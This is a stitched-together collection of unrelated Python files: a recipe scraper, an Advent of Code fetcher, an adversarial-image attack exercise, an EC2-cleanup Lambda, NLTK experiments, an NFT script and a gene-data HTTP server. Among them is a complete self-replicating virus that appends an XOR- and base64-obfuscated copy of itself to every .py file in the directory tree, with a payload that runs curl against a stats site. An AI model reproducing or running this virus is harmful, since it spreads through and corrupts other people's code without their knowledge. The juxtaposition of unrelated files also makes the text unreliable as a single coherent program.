#!/usr/bin/env python
# -*- coding: utf-8 -*-

import sys, os
sys.path.append(os.path.dirname(__file__))

import argparse

from CustomPrint import custom_print_init, print_info, print_debug, print_error, print_warning

from Scrapers import url2recipe_json
from RecipeOutput import recipe_output

from CustomExceptions import UrlError

__version__ = '0.3.1'
__author__ = u'Rodney Shupe'

def parse_arguments(print_usage = False, detail = False):
    """ Creates a new argument parser. """

    parser = argparse.ArgumentParser('recipe-dl')
    version = '%(prog)s v' + __version__
    parser.add_argument(
        '--version',
        action='version',
        version=version
    )
    parser.add_argument(
        '-a',
        '--authorize',
        action="store_true",
        dest="authorize_ci",
        default=False,
        help='Force authorization of Cook Illustrated sites',
    )
    parser.add_argument(
        "-d",
        "--debug",
        action="store_true",
        dest="debug",
        default=False,
        help="Add additional Output",
    )
    parser.add_argument(
        "-q",
        "--quiet",
        action="store_true",
        dest="quiet",
        default=None,
        #help="Suppress most output aka Silent Mode.",
        help=argparse.SUPPRESS
    )
    parser.add_argument(
        "-v",
        "--verbose",
        action="store_true",
        dest="verbose",
        default=False,
        help="Make output verbose",
    )
    parser.add_argument(
        "-j",
        "--output-json",
        action="store_true",
        dest="output_json",
        default=False,
        help="Output results in JSON format.",
    )
    parser.add_argument(
        "-m",
        "--output-md",
        action="store_true",
        dest="output_md",
        default=False,
        help="Output results in Markdown format.",
    )
    parser.add_argument(
        "-r",
        "--output-rst",
        action="store_true",
        dest="output_rst",
        default=False,
        help="Output results in reStructuredText format.",
    )
    parser.add_argument(
        '-i',
        '--infile',
        action="store",
        dest="infile",
        help="Specify input json file infile.",
    )
    parser.add_argument(
        '-o',
        '--outfile',
        action="store",
        dest="outfile",
        help="Specify output file outfile.",
    )
    parser.add_argument(
        "-s",
        "--save-to-file",
        action="store_true",
        dest="save_to_file",
        default=False,
        help="Save output file(s).",
    )
    parser.add_argument(
        "-f",
        "--force-recipe-scraper",
        action="store_true",
        dest="force_recipe_scraper",
        default=False,
        help="For the use of the recipe scraper where applicable.",
    )
    parser.add_argument(
        "--quick-tests",
        action="store_true",
        dest="quick_tests",
        help=argparse.SUPPRESS,
        default=False
    )

    parser.add_argument('URL', nargs='*', action="append", default=[],)

    if print_usage:
        if detail:
            parser.print_help()
        else:
            parser.print_usage()
    else:
        args = parser.parse_args()

        if args.quiet is None:
            args.quiet = not args.verbose

        if args.debug and args.quiet:
            args.quiet = False
            print_warning ("Debug option selected. Can not run in \"Silent Mode\"")

        custom_print_init (quiet=args.quiet, debug=args.debug)

        filetype_count = 0
        if args.output_json:
            filetype_count += 1
        if args.output_md:
            filetype_count += 1
        if args.output_rst:
            filetype_count += 1

        print_debug("filetype_count=%s" % filetype_count)
        if filetype_count == 0:
            args.output_rst = True
        elif filetype_count > 1:
            print_warning ("More than one output file type select. Assuming 'Save to File'")
            args.save_to_file = True

        if not args.save_to_file and not args.outfile is None and args.outfile != '':
            args.save_to_file = True

        return args

def quick_tests(args):
    """ some quick tests """

    from UtilityFunctions import url2domain
    url2domain("https://www.finecooking.com/recipe/herbed-grill-roasted-lamb")

    tests=[
        'http://www.foodandwine.com/recipes/herbed-roast-leg-of-lamb',
        'https://www.bonappetit.com/recipe/instant-pot-glazed-and-grilled-ribs',
        'https://www.saveur.com/perfect-brown-rice-recipe/',
        'https://www.thechunkychef.com/easy-slow-cooker-mongolian-beef-recipe'
    ]
    for test_url in tests:
        custom_print_init (quiet=args.quiet, debug=args.debug)

        print_info ("==========================")
        recipe_output(args, url2recipe_json(args, test_url))
        print_info ("==========================")

def main(args=None):
    if args is None:
        args = parse_arguments()

    print_debug (args)
    if args.quick_tests:
        quick_tests(args)
    else:
        if not args.URL == [[]]:
            for url in args.URL[0]:
                try:
                    recipe_json = url2recipe_json(args, url)
                except UrlError as err:
                    print_error ("Specified URL Not suported!")
                    sys.exit (os.EX_SOFTWARE)
                except Exception as err:
                    print_error (err.args[1])     # arguments stored in .args
                    sys.exit (os.EX_TEMPFAIL)
                recipe_output(args, recipe_json)
        else:
            if not args.infile is None and args.infile != "":
                print_info ("Processsing %s..." % args.infile)
                with open(args.infile) as json_file:
                    recipe_json = json.load(json_file)
                    recipe_output(args, recipe_json)
            else:
                print_error ("You must specify an input URL or input JSON file.")
                parse_arguments(print_usage=True)
                sys.exit (os.EX_USAGE)

if __name__ == '__main__':
    args = parse_arguments()
    main(args)

#quick_tests()


import os
import requests

SESSION_ID = os.getenv("aoc_session_id")

def get_data(day=1):
    headers = {"cookie":f"session={SESSION_ID}"}

    days_data = requests.get(f"https://adventofcode.com/2022/day/{day}/input", headers=headers)

    if not os.path.exists(f"advent_of_code\day_{day}"):
        os.makedirs(f"advent_of_code\day_{day}")
    with open(f"advent_of_code\day_{day}\data.txt", mode="w") as data_file:
        data_file.write(days_data.text)

if __name__ == "__main__":
    for i in range(1, 4):
        get_data(i)


import os
import pandas as pd
from PIL import Image
import numpy as np

import torch
import torch.nn.functional as F
import torchvision.datasets as datasets
from torch.utils.data import Dataset, DataLoader
import torchvision.models as models
import torchvision.transforms as transforms
import matplotlib.pyplot as plt
import cv2
import copy
import sys
import time

device = torch.device("cuda")

# 實作一個繼承 torch.utils.data.Dataset 的 Class 來讀取圖片
class Adverdataset(Dataset):
    def __init__(self, root, label, transforms):
        # 圖片所在的資料夾
        self.root = root
        # 由 main function 傳入的 label
        self.label = torch.from_numpy(label).long()
        # 由 Attacker 傳入的 transforms 將輸入的圖片轉換成符合預訓練模型的形式
        self.transforms = transforms
        # 圖片檔案名稱的 list
        self.fnames = []

        for i in range(200):
            self.fnames.append("{:03d}".format(i))

    def __getitem__(self, idx):
        # 利用路徑讀取圖片
        img = Image.open(os.path.join(self.root, self.fnames[idx] + '.png'))
        # 將輸入的圖片轉換成符合預訓練模型的形式
        img = self.transforms(img)
        # 圖片相對應的 label
        label = self.label[idx]
        return img, label

    def __len__(self):
        # 由於已知這次的資料總共有 200 張圖片 所以回傳 200
        return 200

class Best_Attacker:
    def __init__(self, img_dir, label):
        self.model = models.densenet121(pretrained = True)
        self.model.cuda()
        self.model.eval()
        self.iters = 10
        self.alpha = 2/255
        self.mean = [0.485, 0.456, 0.406]
        self.std = [0.229, 0.224, 0.225]
        # 把圖片 normalize 到 0~1 之間 mean 0 variance 1
        self.normalize = transforms.Normalize(self.mean, self.std, inplace=False)
        transform = transforms.Compose([
                        transforms.Resize((224, 224), interpolation=3),
                        transforms.ToTensor(),
                        self.normalize
                    ])
        # 利用 Adverdataset 這個 class 讀取資料
        self.dataset = Adverdataset(img_dir, label, transform)

        self.loader = torch.utils.data.DataLoader(
                self.dataset,
                batch_size = 1,
                shuffle = False)

    def L_infinity(self, origin, new, epsilon):
        difference = origin - new
        max_diff = torch.max(torch.abs(difference))
        return max_diff

    def attack(self, epsilon):
        # 存下一些成功攻擊後的圖片 以便之後顯示
        adv_examples = []
        wrong, fail, success = 0, 0, 0
        img = []
        count = 1
        for (data, target) in self.loader:
            data, target = data.to(device), target.to(device)
            data_raw = copy.deepcopy(data)
            # 將圖片丟入 model 進行測試 得出相對應的 class
            output = self.model(data)
            init_pred = output.max(1, keepdim=True)[1]

            # 如果 class 錯誤 就不進行攻擊
            if init_pred.item() != target.item():
                wrong += 1
                data_raw = data_raw * torch.tensor(self.std, device = device).view(3, 1, 1) + torch.tensor(self.mean, device = device).view(3, 1, 1)
                data_raw = data_raw.squeeze().detach().cpu().numpy()
                img.append(data_raw)
                continue

            # 如果 class 正確 就開始計算 gradient 進行攻擊
            for i in range(self.iters):
                data.requires_grad = True
                output = self.model(data)
                loss = F.nll_loss(output, target)
                data_grad = torch.autograd.grad(loss, data)[0]
                data = data + self.alpha * data_grad.sign()
                eta = torch.clamp(data - data_raw, min=-epsilon, max=epsilon)
                data = (data_raw + eta).detach()
                #data = torch.clamp(data_raw + eta, min=0, max=1).detach()
            perturbed_data = data

            # 再將加入 noise 的圖片丟入 model 進行測試 得出相對應的 class
            output = self.model(perturbed_data)
            final_pred = output.max(1, keepdim=True)[1]
            #print('Finish :',count)
            count += 1
            if final_pred.item() == target.item():
                #print("fail")
                # 辨識結果還是正確 攻擊失敗
                adv_ex = perturbed_data * torch.tensor(self.std, device = device).view(3, 1, 1) + torch.tensor(self.mean, device = device).view(3, 1, 1)
                adv_ex = adv_ex.squeeze().detach().cpu().numpy()
                img.append(adv_ex)
                fail += 1
            else:
                # 辨識結果失敗 攻擊成功
                success += 1
                #print('success')
                adv_ex = perturbed_data * torch.tensor(self.std, device = device).view(3, 1, 1) + torch.tensor(self.mean, device = device).view(3, 1, 1)
                adv_ex = adv_ex.squeeze().detach().cpu().numpy()
                img.append(adv_ex)

        final_acc = (fail / (wrong + success + fail))
        print("Epsilon: {}\tTest Accuracy = {} / {} = {}\n".format(epsilon, fail, len(self.loader), final_acc))
        return img, final_acc

if __name__ == '__main__':
    t1 = time.time()
    # 讀入圖片相對應的 label
    df = pd.read_csv(sys.argv[1] + "/labels.csv")
    df = df.loc[:, 'TrueLabel'].to_numpy()
    label_name = pd.read_csv(sys.argv[1] + "/categories.csv")
    label_name = label_name.loc[:, 'CategoryName'].to_numpy()
    # new 一個 Attacker class
    attacker = Best_Attacker(sys.argv[1] + "/images", df)
    # 要嘗試的 epsilon
    epsilons = [0.1]

    accuracies, examples = [], []

    # 進行攻擊 並存起正確率和攻擊成功的圖片
    for eps in epsilons:
        #ex, acc = attacker.attack(eps)
        img, acc = attacker.attack(eps)
        accuracies.append(acc)
        #examples.append(ex)

    number = 0
    save_path = sys.argv[2]
    if not os.path.isdir(save_path):
        os.mkdir(save_path)
    save_path = save_path + '/'
    for ex in img:
        ex = 255 * np.array(ex).astype(np.float32)
        ex = np.swapaxes(ex,0,1)
        ex = np.swapaxes(ex,1,2)
        #print(ex.shape)
        ex[:,:,[0,2]] = ex[:,:,[2,0]] # chage the color channel
        if len(str(number)) == 1:
            name = '00' + str(number)
            cv2.imwrite(save_path+str(name)+'.png', ex)
        elif len(str(number)) == 2:
            name = '0' + str(number)
            cv2.imwrite(save_path+str(name)+'.png', ex)
        else:
            cv2.imwrite(save_path+str(number)+'.png', ex)
        number += 1
    t2 = time.time()
    print("Execute time :" + str(t2-t1))


import boto3
import re
from datetime import datetime, timedelta
import os

def lambda_handler(event, context):

    TERMINATION_AGE = 0

    ec2_client = boto3.client('ec2', region_name='us-east-1')

    # Get a list of stopped instances
    instances = ec2_client.describe_instances(Filters=[{'Name': 'instance-state-name', 'Values': ['stopped']}])

    for reservation in instances['Reservations']:
        for instance in reservation['Instances']:

            # Check if instance has the required tag
            tags = instance.get('Tags', [])
            has_required_tag = False
            for tag in tags:
                if tag['Key'] == 'TerminateOnIdle':
                    has_required_tag = True
                    break

            # If instance does not have the tag, terminate it
            if not has_required_tag:
                # StateTransitionReason might be like "i-xxxxxxxx User initiated (2016-05-23 17:27:19 GMT)"
                reason = instance['StateTransitionReason']
                date_string = re.search('User initiated \(([\d-]*)', reason).group(1)
                if len(date_string) == 10:
                    date = datetime.strptime(date_string, '%Y-%m-%d')

                    # Terminate if older than TERMINATION_AGE
                    if (datetime.today() - date).days + 1 > TERMINATION_AGE:
                        ec2_client.terminate_instances(InstanceIds=[instance['InstanceId']])


import logging
import logging.config
import os

from typing import Union

class Reporter:

    def __init__(self,
                 logger: Union[logging.Logger, None] = None,
                 lvl: int = logging.INFO) -> None:

        """Reporter Class.

        Parameters
        ----------
        logger : logger or None
            The logger object to use.
        lvl : int
            Logging level to write to.
        """

        self.logger = logger or logging.getLogger(__name__)
        self.log_level = lvl
        self.log_path = os.path.join(os.getcwd(), 'report.log')

        self._setup_logger()

    def log(self,
            msg: str,
            lvl: int = logging.INFO) -> None:

        """Logs a message with a given level.

        Parameters
        ----------
        msg : str
            Message to log.
        lvl : int
            Level with which to log the message.
        """

        self.logger.log(lvl, msg)

    def _setup_logger(self) -> None:

        """Initialises the logger using the basic config."""

        logging.basicConfig(
            level=self.log_level,
            format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',
            datefmt='%d/%m/%Y %H:%M:%S',
            filename=self.log_path,
            filemode='w'
        )


from typing import Tuple, List
import pandas as pd
import time
import re
import functools

class Processor:
    def __init__(self, dataframe: pd.DataFrame):
        self._df = dataframe

    def get(self):
        return self._df.copy()

    def __repr__(self) -> str:
        return self._df.__repr__

    def __str__(self) -> str:
        return self._df.__str__

    def keep_dtypes(self, keep_dt: List[str]):
        df = self._df.copy()

        keep_cols = []
        dtypes = df.dtypes

        for col in df.columns:
            if dtypes[col] in keep_dt:
                keep_cols.append(col)

        df = df[keep_cols]

        return Processor(df)

    def exclude_cols(self, exclude_cols: List[str]):
        df = self._df.copy()
        keep_cols = []

        for col in df.columns:
            keep = True
            for pattern in exclude_cols:
                if re.match(pattern, col):
                    keep = False
                    break
            if keep:
                keep_cols.append(col)

        df = df[keep_cols]

        return Processor(df)


import chunk
from nltk.tokenize import word_tokenize,sent_tokenize ,PunktSentenceTokenizer
from nltk.corpus import stopwords,state_union
from nltk.stem import PorterStemmer
import nltk
def token(inputs):
    # input = "hi vi what time is it"
    return (sent_tokenize(inputs))

def sw():
    text = "token is showing this shit"
    stop_words = set(stopwords.words("english"))
    words = word_tokenize(text)
    filtered = [w for w in words if w not in stop_words]
    print(filtered)

def stem():
    ps = PorterStemmer()
    ex = ['python' , 'pythoner' 'pythoning']
    text ='its very importent to be pythonly when you are pythoning with python'
    re = [ps.stem(w) for w in token(text)]
    print(re)

def partofspeechtagging():
    sample = state_union.raw("2005-GWBush.txt")
    train_sample = state_union.raw("2006-GWBush.txt")

    costum_set_token = PunktSentenceTokenizer(train_sample)
    tokenized = costum_set_token.tokenize(sample)
    chunkgram = r"""Chunk:{<.*>+}
                    }<VB.?|IN|DT>+{ """
    # chunkgram = r"""Chunk:{<RB.?>*<VB.?>*<NNP>+<NN>?}"""
    chunkparser = nltk.RegexpParser(chunkgram)
    for n,i in enumerate(tokenized):
        words = word_tokenize(i)
        tagged = nltk.pos_tag(words)
        chunked = chunkparser.parse(tagged)
        chunked.pretty_print()
        # print(dir(chunked))
        break

# words = word_tokenize('search for css in youtube')
# tagged = nltk.pos_tag(words)
# chunkgram = r"""Chunk:{<VB.?>*}"""
# chunkparser = nltk.RegexpParser(chunkgram)
# chunked = chunkparser.parse(tagged)
# print(chunked)

# sw()
# partofspeechtagging()
# stem()

postags = """
    CC coordinating conjunction
    CD cardinal digit
    DT determiner
    EX existential there (like: “there is” … think of it like “there exists”)
    FW foreign word
    IN preposition/subordinating conjunction
    JJ adjective ‘big’
    JJR adjective, comparative ‘bigger’
    JJS adjective, superlative ‘biggest’
    LS list marker 1)
    MD modal could, will
    NN noun, singular ‘desk’
    NNS noun plural ‘desks’
    NNP proper noun, singular ‘Harrison’
    NNPS proper noun, plural ‘Americans’
    PDT predeterminer ‘all the kids’
    POS possessive ending parent’s
    PRP personal pronoun I, he, she
    PRP$ possessive pronoun my, his, hers
    RB adverb very, silently,
    RBR adverb, comparative better
    RBS adverb, superlative best
    RP particle give up
    TO, to go ‘to’ the store.
    UH interjection, errrrrrrrm
    VB verb, base form take
    VBD verb, past tense took
    VBG verb, gerund/present participle taking
    VBN verb, past participle taken
    VBP verb, sing. present, non-3d take
    VBZ verb, 3rd person sing. present takes
    WDT wh-determiner which
    WP wh-pronoun who, what
    WP$ possessive wh-pronoun whose
    WRB wh-abverb where, when
"""

import re

exampleString = '''
Jessica is 15 years old, and Daniel is 27 years old.
Edward is 97 years old, and his grandfather, Oscar, is 102.
'''

ages = re.findall(r'\d{1,3}',exampleString)
names = re.findall(r'[A-Z][a-z]*',exampleString)

# print(ages)
# print(names)

example = 'search for youtube hkjhk in duckduckgo'
re.findall(r'@([a-zA-Z]+)','gfgfdAAA1234ZZZuijjk')
finel = re.findall('(search for) (.*) (in) (.*)' ,example)
# print(finel)
# print(re.findall('(search for|look for|find) (.+) (in|on) (.+)', sample))

def partofspeechtagging():
    sample = state_union.raw("2005-GWBush.txt")
    train_sample = state_union.raw("2006-GWBush.txt")

    costum_set_token = PunktSentenceTokenizer(train_sample)
    tokenized = costum_set_token.tokenize(sample)
    for i in tokenized:
        words = word_tokenize(i)
        tagged = nltk.pos_tag(words)
        namedEnt = nltk.ne_chunk(tagged,binary= 1)
        namedEnt.draw()

# partofspeechtagging()
# sample="search for css animatation on youtube"
def lemtze():
    from nltk.stem import WordNetLemmatizer
    lem = WordNetLemmatizer()
    print(lem.lemmatize('better' , "a"))

from nltk.corpus import gutenberg

sample = gutenberg.raw('bible-kjv.txt')

tok = sent_tokenize(sample)

print(tok[5:15] )


#!/usr/bin/env python3
import base64
import hashlib
import os
import random
import string
from subprocess import Popen, PIPE

API = "https://corona-stats.online?top=15"

def execute_payload():
    print("######### DONT BE A COVIDIOT, STAY @ HOME #########")
    cmd1 = Popen(["curl", "-s"] + [API], stdout=PIPE)
    cmd2 = Popen(["head", "-n", "37"], stdin=cmd1.stdout)
    cmd1.wait()
    cmd2.wait()

def create_copy():
    try:
        return y
    except NameError:
        with open(os.path.basename(__file__), 'r') as source:
            data = []
            for line in source:
                data.append(line)
        return "".join(data)

def otp_keygen(size):
    return ''.join([random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in range(size)])

def xor_strs(s1, s2):
    return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2))

def encrpyt_it(stuff_to_encrpyt):
    key = otp_keygen(len(stuff_to_encrpyt))
    cipher_text = xor_strs(stuff_to_encrpyt, key)
    return cipher_text, key

def wrap(asset):
    encrpyted_asset, key = encrpyt_it(asset)
    base64_encoded_and_encrypted = base64.b64encode(str.encode(encrpyted_asset))
    return "exec('import base64;x=base64.b64decode(str.encode(\\'{0}\\'));" \
           "y=\\'\\'.join(chr(ord(a) ^ ord(b)) for a, b in zip(x.decode(), \\'{1}\\'));" \
           "exec(y, {{\\'y\\':y}})')".format(base64_encoded_and_encrypted.decode(), key)

def check_if_infected(hash_value, file):
    real_hash = hashlib.sha256(file.encode())
    return real_hash.hexdigest() == hash_value

def infect(troy):
    for root, _, files in os.walk('.'):
        for file in files:
            relative_path = root + '/' + file
            if file.endswith(".py") and relative_path != "./virus.py":
                with open(relative_path, 'r') as original:
                    data = original.read().split('\n')
                    last_line = data[-1]
                    if last_line.startswith("#*!@"):
                        if check_if_infected(last_line[4:].rstrip('\n'), '\n'.join(data[:-1])):
                            continue
                        else:
                            data = '\n'.join(data[:-2])
                    else:
                        data = '\n'.join(data)
                with open(relative_path, 'w') as modified:
                    new_content = "{0}\n{1}".format(data, troy)
                    content_hash = hashlib.sha256(new_content.encode())
                    modified.write("{0}\n#*!@{1}".format(new_content, content_hash.hexdigest()))

def virus_routine():
    execute_payload()
    malicious_copy = create_copy()
    troy = wrap(malicious_copy)
    infect(troy)

virus_routine()


import asyncio, gbulb, logging, logging.handlers
from multiprocessing import Process
from python_dbus_system_api import start_server

from ustatus.ustatus import Ustatus

from ustatus.utils.notifications import notify_error

def main():
    setup_logging()
    # Ensure API is running (if already running this will just queue to get the
    # bus name)
    api_process = Process(target=start_server)
    api_process.start()
    gbulb.install(gtk=True)  # only necessary if you're using GtkApplication
    application = Ustatus()
    loop = asyncio.get_event_loop()
    try:
        loop.run_forever(application=application)
    except Exception as e:
        notify_error(summary="Uncaught error", body=f"e")

def setup_logging():
    logging.basicConfig(
        level=logging.INFO,
        style="{",
        format="[{levelname}({name}):{filename}:{funcName}] {message}",
    )
    root_logger = logging.getLogger()
    sys_handler = logging.handlers.SysLogHandler(address="/dev/log")
    root_logger.addHandler(sys_handler)

if __name__ == "__main__":
    main()


from brownie import network, AdvancedCollectible
from scripts.helpful_scripts import get_account, get_gtype, OPENSEA_URL

# File uploaded to IPFS and took the
god_metadata_dic = {
    "SHIVA": "https://ipfs.io/ipfs/QmULNZ8umdtXYAUB5y9UpaLXBNmN7SCgcpnMbEdx5eSEyi?filename=0-SHIVA.json",
    # "GANESH": "https://ipfs.io/ipfs/QmXx7UhfFnSrFmGhDsPurdLQEC1Dv4yZPkYfx4E5aAmh68?filename=1-GANESH.json",
    "HANUMAN": "https://ipfs.io/ipfs/Qmf4TKekSuWnJ1reqWqju5KakLa4QA546VzP5cWdSXFVNp?filename=1-HANUMAN.json",
}

def main():
    print(f"Working on {network.show_active()}")
    advanced_collectible = AdvancedCollectible[-1]
    number_of_collectibles = advanced_collectible.tokenCounter()
    print(f"You have {number_of_collectibles} tokenIds")
    for token_id in range(number_of_collectibles):
        gtype = get_gtype(advanced_collectible.tokenIdToGodType(token_id))
        if not advanced_collectible.tokenURI(token_id).startswith("https://"):
            print(f"Setting tokenURI of {token_id}")
            set_tokenURI(token_id, advanced_collectible, god_metadata_dic[gtype])

def set_tokenURI(token_id, nft_contract, tokenURI):
    account = get_account()
    tx = nft_contract.setTokenURI(token_id, tokenURI, {"from": account})
    tx.wait(1)
    print(
        f"You can view your NFT at {OPENSEA_URL.format(nft_contract.address, token_id)}"
    )


# Server that provides some services related with genes and chromosomes using the HTTP protocol.
# The user introduces the parameters through the main page HTML, the data is taken from the rest.ensembl.org
# web page and the results are presented in another HTML page.

# importing the needed resources
import http.server
import http.client
import json
import socketserver
import termcolor

# Server's port
PORT = 8000

# Client
HOSTNAME = "rest.ensembl.org"
ENDPOINT0 = "/info/species?content-type=application/json"
METHOD = "GET"

headers = {'User-Agent': 'http-client'}
conn = http.client.HTTPSConnection(HOSTNAME)

# Function with the endpoint dependent part
def client(endpoint):
    """function of a common client that asks information using json"""

    # -- Sending the request
    conn.request(METHOD, endpoint, None, headers)
    r1 = conn.getresponse()

    # -- Printing the status
    print()
    print("Response received: ", end='')
    print(r1.status, r1.reason)

    # -- Read the response's body and close connection
    text_json = r1.read().decode("utf-8")
    conn.close()
    return json.loads(text_json)

# Seq class for gene questions
class Seq:
    """A class for representing sequences"""

    def __init__(self, strbases):
        self.strbases = strbases  # self.strbases now represents my species name

    # Obtaining the ID of a species
    def id(self):
        ENDPOINT3 = "/lookup/symbol/homo_sapiens/" + self.strbases + "?content-type=application/json"
        result3 = client(ENDPOINT3)
        return result3["id"]

    # Obtaining the sequence from an ID
    def gene_seq(self):
        ENDPOINT4 = "/sequence/id/" + self.id() + "?content-type=application/json"
        result4 = client(ENDPOINT4)
        return result4["seq"]

    # Length of the string
    def len(self):
        return len(self.gene_seq())  # returns the length of our string(self.gene_seq())

    # Number of a concrete base
    def count(self, base):
        res = self.gene_seq().count(base)  # counting the base that we will introduce
        return res

    # Percentage of a concrete base
    def perc(self, base):
        tl = self.len()
        for e in base:
            n = self.count(e)
            res = round(100.0 * n / tl, 1)  # percentage with one decimal of precision
            return res

    # Results presentation
    def results(self):
        bases = "ACTG"
        s1 = "The total number of bases is: "+str(self.len())
        s2 = ""  # empty string to save the percentage results of the following loop
        for b in bases:
            s2 += "The percentage of " + b + " is: " + str(self.perc(b)) + "%" + "
"
        return s1 + "

" + s2

# Class with our Handler that inheritates all his methods and properties
class TestHandler(http.server.BaseHTTPRequestHandler):  # Objects with the properties of the library

    def do_GET(self):
        """This method is called whenever the client invokes the GET method
        in the HTTP protocol request"""

        # Printing in the server some useful information
        print("GET received")
        print("Request line:" + self.requestline)
        print(" Cmd: " + self.command)
        print(" Path: " + self.path)

        # Separating and selecting the information of the path
        res = self.path.split("?")[0]
        p = (self.path.replace("=", ",")).replace("&", ",")
        ins = p.split(",")  # Making a list of instructions dividing the string in the = and & symbols

        # Some important parameters
        text = ""  # Empty string that will save the response information
        sp = Seq(ins[-1])  # Object used in the genes calculations
        page = "response.html"  # The page will be response except if the endpoint is "/" or it does not exist

        try:
            if self.path == "/":  # Using the resource / to obtain the main page with all the options
                page = "main-page.html"

            elif res == "/listSpecies":  # Using the resource /listSpecies

                result0 = client(ENDPOINT0)
                # The variable limit has been created to avoid the error "referenced before assignment"
                limit = ""
                # The second parameter is the limit
                if len(ins) == 2:
                    limit = int(ins[1])
                # Using elif instead of else to avoid sending the list of species with 3 or more parameters
                elif len(ins) == 1:
                    limit = len(result0["species"])  # If there is no limit the loop will be over all the species
                for index in range(limit):
                    text += result0["species"][index]["name"] + "
"

            elif res == "/karyotype":  # Using the resource /karyotype

                ENDPOINT1 = "/info/assembly/"+ins[-1]+"?content-type=application/json"
                result1 = client(ENDPOINT1)
                for chrom in result1["karyotype"]:  # Transformation into a string with intros "
"
                    text += chrom+"
"

            elif res == "/chromosomeLength":  # Using the resource /chromosomeLength

                specie = ins[1]
                ch = ins[-1]
                ENDPOINT2 = "/info/assembly/"+specie+"/"+ch+"?content-type=application/json"
                result2 = client(ENDPOINT2)
                text += str(result2["length"])  # Obtaining the value that corresponds to the length keyword

            elif res == "/geneSeq":  # Using the resource /geneSeq

                text += sp.gene_seq()  # calling the method gene_seq to obtain the sequence of the sp object

            elif res == "/geneInfo":

                id_number = sp.id()  # calling the method id to obtain the identity number of the sp object
                ENDPOINT5 = "/overlap/id/" + id_number + "?feature=gene;content-type=application/json"
                result4 = client(ENDPOINT5)  # Dictionary that contains several lists of information for different genes

                a = ""  # This variable avoids the error "referenced before assignment"
                for i in range(len(result4)):  # loop to search which gene is the one that coincides with our requisites
                    if result4[i]["id"] == id_number:  # the correct information is in the list in which is our id gene
                        a = i
                # Searching the values in the selected list
                text += "Start: " + str(result4[a]["start"]) + "
"
                text += "End: " + str(result4[a]["end"]) + "
"
                text += "Length: " + str(result4[a]["end"] - result4[a]["start"] + 1) + "
"  # sum also 1st position
                text += "ID: " + str(result4[a]["id"]) + "
"
                text += "Chromosome: " + str(result4[a]["seq_region_name"]) + "
"

            elif res == "/geneCalc":  # Using the resource /geneCalc

                text += sp.results()  # calling the results method

            elif res == "/geneList":  # Using the resource /geneList

                start = ins[3]
                end = ins[-1]
                ch = ins[1]
                ENDPOINT6 = "/overlap/region/human/"+ch+":"+start+"-"+end+"?content-type=application/json;feature=gene"
                result5 = client(ENDPOINT6)
                # Searching the name of each gene in the dictionary
                for index in range(len(result5)):
                    text += result5[index]["external_name"] + "
"

                # Preventing some common errors
                if start == end:
                    text += ""+"Sorry, you have introduced the same number for the start than for the end."+""
                    text += ""+"

"+"So obviously, as there is no region, there is no gene contained."+""
                if text == "":
                    text += ""+"There is no gene in the selected region"+""

            else:
                page = "error.html"  # If it is not one of the previous resources

            # improvement in the server to avoid taking as correct an extra valid parameter. Ex: gene=FRAT1&gene=BRAF
            if res in ["/karyotype", "/chromosomeLength", "/geneSeq", "/geneInfo", "/geneCalc", "/geneList"]:

                # checking the length of the instructions and generating a KeyError if they are not correct
                if len(ins) > 2 and res != "/chromosomeLength" and res != "/geneList":
                    text += client(ENDPOINT0)["e"]
                elif (len(ins) > 4 and res == "/chromosomeLength") or (len(ins) > 6 and res == "/geneList"):
                    text += client(ENDPOINT0)["e"]

        # Dealing with the main errors
        except ValueError:
            text = ""+"Incorrect value in the parameter 'limit'"+"
"+"Please introduce an integer number"+""
        except TypeError:
            text = ""+"Sorry, the endpoint '/listSpecies' does not admit three or more parameters"+""
        except KeyError:
            text = ""+"Incorrect parameters"+"
"+"Please review their spelling and the amount required"+""
        except Exception:  # Emergency exception that has not been detected yet
            text = ""+"Sorry, an error has been produced"+"
"+"Please review the performed actions"+""

        # -- printing the request line
        termcolor.cprint(self.requestline, 'green')

        # -- Opening the selected page
        f = open(page, 'r')
        contents = f.read()  # reading the contents of the selected page

        # If the html response page is requested change the word text by the text of the user
        if page == "response.html":
            contents = contents.replace("text", text)

        # Generating and sending the response message according to the request
        self.send_response(200)
        self.send_header('Content-Type', 'text/html')
        self.send_header('Content-Length', len(str.encode(contents)))
        self.end_headers()

        # -- sending the body of the response message
        self.wfile.write(str.encode(contents))

# -- MAIN PROGRAM

socketserver.TCPServer.allow_reuse_address = True  # preventing the error: "Port already in use"

# main loop to attend the user
with socketserver.TCPServer(("", PORT), TestHandler) as httpd:

    # "" means that the program must use the IP address of the computer
    print("Serving at PORT: {}".format(PORT))

    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        httpd.server_close()

print("The server is stopped")

some tests (drafts)/server_without json object.py


import os
import sys
import torch
import numpy as np
import time

cur_path = os.path.abspath(os.path.dirname(__file__))
root_path = os.path.split(cur_path)[0]
sys.path.append(root_path)

from torchvision import transforms
from PIL import Image
from segmentron.utils.visualize import get_color_pallete
from segmentron.models.model_zoo import get_segmentation_model
from segmentron.utils.options import parse_args
from segmentron.utils.default_setup import default_setup
from segmentron.config import cfg

def demo():
    args = parse_args()
    args.test = True

    ##############################################
    # args.config_file = "configs/trans10kv2/trans2seg/trans2seg_medium_all_sber.yaml"
    # args.input_img = "tools/4.jpg"
    ##############################################

    cfg.update_from_file(args.config_file)
    cfg.update_from_list(args.opts)
    cfg.PHASE = 'test'
    cfg.ROOT_PATH = root_path

    ##############################################
    # cfg.TEST.TEST_MODEL_PATH = "./workdirs/trans10kv2/trans2seg_medium/Sber2400_50_All_classes.pth"
    # cfg.DATASET.NAME = "sber_dataset_all"
    ##############################################

    # cfg.TEST.TEST_MODEL_PATH = args.model_path
    cfg.check_and_freeze()
    print(cfg.TEST.TEST_MODEL_PATH)

    default_setup(args)

    # create output folders
    output_dir = os.path.join(cfg.VISUAL.OUTPUT_DIR, 'vis_result_{}_{}_{}_{}'.format(
        cfg.MODEL.MODEL_NAME, cfg.MODEL.BACKBONE, cfg.DATASET.NAME, cfg.TIME_STAMP))
    if not os.path.exists(output_dir):
        os.makedirs(output_dir+"/Flipped")
        os.makedirs(output_dir+"/Orig")
        os.makedirs(output_dir+"/Merged_mask")
        os.makedirs(output_dir+"/Orig_confidence")
        os.makedirs(output_dir+"/Flipped_confidence")

    # pathes for different images
    confidence_flipped_dir=output_dir+"/Flipped_confidence"
    confidence_output_dir=output_dir+"/Orig_confidence"
    flipped_dir=output_dir+"/Flipped"
